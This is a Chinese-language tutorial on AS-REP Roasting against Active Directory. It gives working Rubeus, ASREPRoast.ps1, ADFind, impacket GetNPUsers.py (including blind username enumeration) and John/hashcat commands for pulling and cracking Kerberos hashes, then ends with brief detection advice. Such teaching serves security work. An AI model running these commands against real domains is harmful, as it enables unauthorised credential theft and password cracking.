AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式。但是该攻击方式利用比较局限,因为其需要用户账户设置“不要求Kerberos预身份验证”选项,而该选项是默认没有勾选上的。Kerberos预身份验证发送在Kerberos身份验证的第一阶段(AS_REQ&AS-REP),它的主要作用是防止密码离线爆破。默认情况下,预身份验证是开启的,KDC会记录密码错误次数,防止在线爆破。
当关闭了预身份验证后,攻击者可以使用指定用户向域控的88Kerberos端口去请求票据,此时域控不会作任何验证就将TGT认购权证和该用户Hash加密的Login Session Key返回。因此攻击者就可以对获取到的 用户Hash加密的Login Session Key进行离线破解,如果字典足够强大,就能破解得到该指定用户的明文密码。
AS-REP Roasting攻击过程
AS-REP Roasting攻击前提条件:
- 域用户设置了“不要求kerberos预身份验证”
- 需要一台可与KDC进行通信的主机/用户
针对AS-REP Roasting攻击主要分为两步:
1、获取AS-REP响应包中用户Hash加密的Login Session Key。
2、对上一步获得的Login Session Key进行解密。
1、获取Hash
第一步,先获取 AS-REP 响应包中用户 Hash 加密的 Login Session Key, 也就是 AS-REP 响应包中最外层 enc-part 里面的 cipher 部分。获取 AS-REP 响应包中用户 Hash 加密的 Login Session Key 有很多工具,以下演示几个工具的用法。
1)Rubeus
如果当前主机在域内的话,可以通过执行如下命令裕兴Rubeus,该工具会自动搜索域内设置了“不要求kerberos预身份验证的用户”,并以该用户身份发送AS-REQ请求,由于不需要预身份验证,所以KDC会直接返回AS-REP回复包,然后该工具会将AS-REP响应包中返回的用户Hash加密的Login Session Key以John能破解的格式保存为hash.txt。
Rubeus.exe asreproast /format:john /outfile:hash.txt
2)ASREPRoast.ps1脚本
如果当前主机在域内的话,通过执行如下命令导入 ASREPRoast.ps1 脚本并进行操作。该脚本会自动搜索域内设置了不要求 Kerberos 预身份验证的域用户, 并以该用户身份发送 AS-REQ 请求,由于不需要预身份验证,所以域控会直接返回 AS-REP 回复包。然后该工具会打印出不要求 Kerberos 预身份验证的用户名,DN以及用户 Hash 加密的 Login Session Key 也就是 Hash。然后我们使用 select 语句过滤出 Hash。
Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast | select -ExpandProperty Hash
3)非域内机器
对于非域内的机器,就无法通过上面两种方式来获取Hash了。所以想要获取域内设置了“不需要kerberos预身份验证”的域内账号,可以使用ADFind执行如下命令来进行过滤查询,这个前提也得拥有一个有效的域用户账号和密码。查询出设置了“不需要kerberos预身份验证”的域内账号之后,再使用ASREPRoast.ps1脚本或impacket 下的 GetNPUsers.py 脚本获取针对指定用户的用户 Hash 加密的 Login Session Key 也就是 Hash。
adfind -h 192.168.1.1:389 -u test\hack -up P@ss1234 -f "useraccountcontrol: 1.2.840.113556.1.4.803:=4194304" -dn
然后运行如下命令调用 ASREPRoast.ps1 脚本获取针对指定用户 test 的用户 Hash 加密的 Login Session Key 也就是 Hash,该格式可以被 John 直接爆破。
Import-Module .\ASREPRoast.ps1
Get-ASREPHash -UserName test -Domain test.com -Server 192.168.1.1 | Out-File -Encoding ASCII hash.txt
也可以使用 impacket 下的 GetNPUsers.py 脚本,只需要把上一步过滤出的设置了 “不需要 kerberos 预身份验证” 的域内账号写在 users.txt 文件中即可运行如下命令获取针对指定用户 test 的用户 Hash 加密的 Login Session Key 也就是 Hash,该格式可以被 John 直接爆破。
python3 GetNPUsers.py -dc-ip 192.168.1.1 -usersfile users.txt -format john test.com/
或者可以直接进行盲爆,这就不需要有效的域用户账号密码。适用于攻击者在域外且没有一个有效的域账号密码。通过将大量用户写在 users.txt 文件中,运行如下命令自动获取指定 users.txt 文件中的用户是否设置了 “不需要 kerberos 预身份验证” 属性,并获取设置了 “不需要 kerberos 预身份验证” 账号的用户 Hash 加密的 Login Session Key
python3 GetNPUsers.py -dc-ip 192.168.1.1 -usersfile users.txt -format john test.com/
2、爆破Hash
可以执行如下命令使用 John 对第一步获取到的 Hash 进行爆破,但是爆破 的成功与否也与我们的字典强度有关。
john --wordlist=/opt/pass.txt hash.txt
而如果想用 hashcat 进行爆破的话,由于第一步获取的 hash 格式并不能直接被 hashcat 所爆破,所以我们得手动添加 $23 到如图所示位置。
然后执行如下命令使用 hashcat 爆破。
hashcat -m 18200 hash.txt pass.txt --force
AS-REP Roasting攻击防御
- 检测域中是否存在设置了“不要求kerberos预身份验证”属性的用户。如果存在,将该属性取消勾选
- 在日志方面进行查看的话,重点关注事件ID为4768(请求Kerberos身份验证服务)的日志。如果有过多的4768日志,可以对该事件ID为4768的日志进行筛选,主要筛选出预身份验证类型为0的日志